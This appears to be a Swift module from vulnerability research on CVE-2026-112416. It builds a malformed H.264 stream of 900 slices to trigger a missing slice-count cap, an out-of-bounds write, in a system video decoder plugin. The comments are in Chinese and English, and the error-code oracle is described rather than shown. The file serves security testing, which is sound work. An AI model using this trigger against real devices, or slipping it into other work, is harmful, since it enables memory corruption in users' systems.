66 lines
3.0 KiB
Swift
66 lines
3.0 KiB
Swift
// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416
|
||
// 原语: OOB 写 · 系统进程 · tier 2
|
||
// Primitive: OOB write · system process · tier 2
|
||
//
|
||
// [zh] AVC 切片数量上限缺失
|
||
// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为
|
||
// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。
|
||
//
|
||
// [en] AVC slice count cap missing
|
||
// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
|
||
// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
|
||
// and 112454 replaces the histogram IOSurface pointer with a random cookie.
|
||
// ── 判别 / oracle ──
|
||
// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,
|
||
// 以插件自身错误码判定。
|
||
|
||
import Foundation
|
||
|
||
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
||
enum B {
|
||
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
||
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
||
static func be32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
||
}
|
||
static func le32(_ v: UInt32) -> [UInt8] {
|
||
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
||
}
|
||
static func be64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func le64(_ v: UInt64) -> [UInt8] {
|
||
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
||
}
|
||
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
||
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
||
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
||
}
|
||
|
||
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ──
|
||
enum VideoPayload {
|
||
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
|
||
var out = Data()
|
||
out.append(contentsOf: [0, 0, 0, 1])
|
||
// SPS
|
||
var sps: [UInt8] = [0x67, 0x42, 0x00, 0x1E]
|
||
// exp-golomb: seq_parameter_set_id=0, log2_max_frame_num=0, poc_type=0, ...
|
||
sps += [0xE8, 0x38, 0x00]
|
||
// fake but structurally plausible; the decoder's own error tells us how far it got
|
||
sps += [UInt8](repeating: 0x00, count: 8)
|
||
out.append(contentsOf: sps)
|
||
out.append(contentsOf: [0, 0, 0, 1])
|
||
out.append(contentsOf: [0x68, 0xCE, 0x38, 0x80]) // PPS
|
||
for i in 0..<sliceCount {
|
||
out.append(contentsOf: [0, 0, 0, 1])
|
||
let header: [UInt8] = [0x65, UInt8(0x88 | (i & 0x03)), 0x84, 0x00]
|
||
out.append(contentsOf: header)
|
||
out.append(contentsOf: [UInt8](repeating: 0x00, count: 4))
|
||
}
|
||
return out
|
||
}
|
||
|
||
}
|
||
|
||
|